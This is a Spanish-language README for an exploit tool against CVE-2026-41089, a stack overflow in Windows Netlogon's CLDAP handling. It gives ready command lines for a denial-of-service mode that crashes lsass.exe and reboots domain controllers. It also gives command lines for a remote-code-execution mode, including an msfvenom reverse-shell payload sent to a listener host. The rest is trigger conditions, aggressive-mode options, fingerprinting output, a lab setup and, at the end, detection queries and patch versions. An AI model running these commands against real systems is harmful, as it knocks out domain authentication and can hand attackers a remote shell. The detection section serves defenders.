
CVE-2026-41089 es una vulnerabilidad crítica de ejecución remota de código en el servicio Windows Netlogon que puede hacer que lsass.exe falle con un solo paquete, provocando que el controlador de dominio se reinicie en aproximadamente 30-60 segundos. Durante este tiempo, toda la autenticación del dominio en ese DC fallará.
CVE-ID: CVE-2026-41089
CVSS: 9.8 (Crítico)
CWE: CWE-121 (Desbordamiento de Búfer basado en la Pila)
Vector de ataque: UDP/389 (CLDAP SearchRequest)
Impacto: Ejecución remota de código (RCE) / Denegación de servicio (DoS)
Versiones afectadas: Windows Server 2012 R2 ~ 2025 (Controladores de dominio)
Parche: Actualización acumulativa de mayo de 2026
La función NetpLogonPutUnicodeString en netlogon.dll presenta una vulnerabilidad de desbordamiento de búfer en la pila al procesar solicitudes de búsqueda CLDAP. Esta función recibe un presupuesto de longitud en bytes, pero lo interpreta como un recuento de WCHAR, lo que provoca que la cantidad escrita sea 2 veces la esperada.
El desbordamiento ocurre en un búfer de pila fijo de 528 bytes (264 ushort) en la función NlGetLocalPingResponse. El campo User controlable por el atacante, junto con el propio nombre de dominio DNS del servidor, llenan este búfer, sobrescribiendo finalmente la GS Cookie de seguridad, lo que provoca y el bloqueo de .
__report_gsfailurelsass.exeNtVer=0x02 (obliga a usar la ruta antigua y vulnerable BuildSamLogonResponse)User ≥ ~130 caracteres (límite binario de aproximadamente 260 bytes UTF-16)Nota:
NtVer=0x16(valor utilizado por muchos scripts de detección públicos) activa la ruta seguraBuildSamLogonResponseEx, sin desencadenar la vulnerabilidad.
| Modo | Descripción |
|---|---|
--mode dos | Envía paquetes CLDAP especialmente diseñados que provocan el bloqueo de LSASS y el reinicio del DC (~60 segundos de interrupción de autenticación) |
--mode rce | Intenta la ejecución remota de código (nivel de investigación, requiere shellcode) |
--mode scan | Escanea las respuestas para diferentes valores de NtVer, realizando huellas digitales del DC objetivo |
--mode auto | Detecta automáticamente y selecciona la mejor estrategia de ataque |
Un solo paquete puede bloquear lsass.exe, provocando que el controlador de dominio se reinicie en aproximadamente 30-60 segundos. Durante este período, toda la autenticación de dominio en ese DC fallará.
# Uso básico — Enviar 3 paquetes
python CVE-2026-41089-exp.py 10.0.0.10 corp.local --mode dos
# Ataque rápido de un solo paquete
python CVE-2026-41089-exp.py dc01.corp.local corp.local --mode dos --count 1
# Modo agresivo — 5 paquetes concurrentes
python CVE-2026-41089-exp.py dc01.corp.local corp.local --mode dos --count 5 --delay 0.1
⚠️ Nivel de investigación — No fiable ni estable en entornos reales.
El RCE se enfrenta a los siguientes desafíos:
# Generar shellcode
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.5 LPORT=4444 \
-f raw -o shellcode.bin
# Enviar cadena de RCE
python CVE-2026-41089-exp.py 10.0.0.10 corp.local --mode rce \
--shellcode-file shellcode.bin --lhost 10.0.0.5 --lport 4444
# Realizar huellas digitales del DC objetivo
python CVE-2026-41089-exp.py 10.0.0.10 corp.local --mode scan
Ejemplo de salida esperada (objetivo parcheado):
NtVer=0x00000002 → RESPONDED (3 ms)
NtVer=0x00000004 → RESPONDED (4 ms)
NtVer=0x00000006 → RESPONDED (3 ms)
NtVer=0x00000016 → RESPONDED (3 ms)
NtVer=0x00000000 → RESPONDED (3 ms)
Ejemplo de salida esperada (objetivo sin parchear):
NtVer=0x00000002 → TIMEOUT (5001 ms) ← LSASS crashed!
NtVer=0x00000004 → RESPONDED (4 ms)
NtVer=0x00000006 → RESPONDED (3 ms)
NtVer=0x00000016 → RESPONDED (3 ms)
NtVer=0x00000000 → RESPONDED (3 ms)
Si NtVer=0x02 agota el tiempo de espera mientras otras versiones responden normalmente, es muy probable que el objetivo sea vulnerable.
| Parámetro | Descripción | Valor predeterminado |
|---|---|---|
-l, --user-len | Longitud del campo de nombre de usuario (número de caracteres ASCII) | 180 |
--ntver | Valor NtVer (hexadecimal, ej. 0x02) | 0x02 |
--count | Número de paquetes DoS a enviar | 3 |
--delay | Retardo entre paquetes (segundos) | 0.5 |
-t, --timeout | Tiempo de espera del socket (segundos) | 5.0 |
--json | Salida de resultados en formato JSON | — |
--raw | Imprimir el paquete en hexadecimal antes de enviarlo | — |
--quiet | Suprimir el banner de salida | — |
--shellcode-file | Archivo de shellcode personalizado (x64 raw) | — |
--lhost | Dirección de escucha del shell inverso | — |
--lport | Puerto de escucha del shell inverso | 4444 |
# En un Windows Server (sin parchear) crear un DC con nombre de dominio largo:
# 1. Promover a controlador de dominio (nombre de dominio DNS muy largo, por ejemplo "this-is-a-very-long-domain-name-for-testing.corp.local")
# 2. Asegurarse de que los parches anteriores a mayo de 2026 estén instalados
# 3. Desde la máquina atacante ejecutar:
python CVE-2026-41089-exp.py <DC_IP> <NOMBRE_DOMINIO_LARGO> --mode dos --count 1
# 4. Observar el bloqueo y reinicio del DC
User > 100 bytes y NtVer = 0x02Event ID: 1000
Faulting process: lsass.exe
Faulting module: netlogon.dll
Exception code: 0xc0000409 (STATUS_STACK_BUFFER_OVERRUN)
index=wineventlog source="WinEventLog:Application" EventID=1000
Process_Name="lsass.exe" Exception_Code="0xc0000409"
Event
| where Source == "Application" and EventID == 1000
| where RenderedDescription contains "lsass.exe"
| where RenderedDescription contains "0xc0000409"
| Versión de Windows Server | Número de versión del parche | Notas |
|---|---|---|
| Server 2012 | 6.2.9200.26079 | ESU |
| Server 2012 R2 | 6.3.9600.23181 | ESU |
| Server 2016 | 10.0.14393.9140 | |
| Server 2019 | 10.0.17763.8755 | |
| Server 2022 | 10.0.20348.5074 | |
| Server 2022 23H2 | 10.0.25398.2330 | |
| Server 2025 | 10.0.26100.32772 |
Esta herramienta está destinada únicamente para evaluaciones de seguridad autorizadas, pruebas de penetración, competiciones CTF e investigación defensiva. El uso de esta herramienta contra cualquier sistema sin autorización explícita por escrito es ilegal. El usuario asume toda la responsabilidad legal.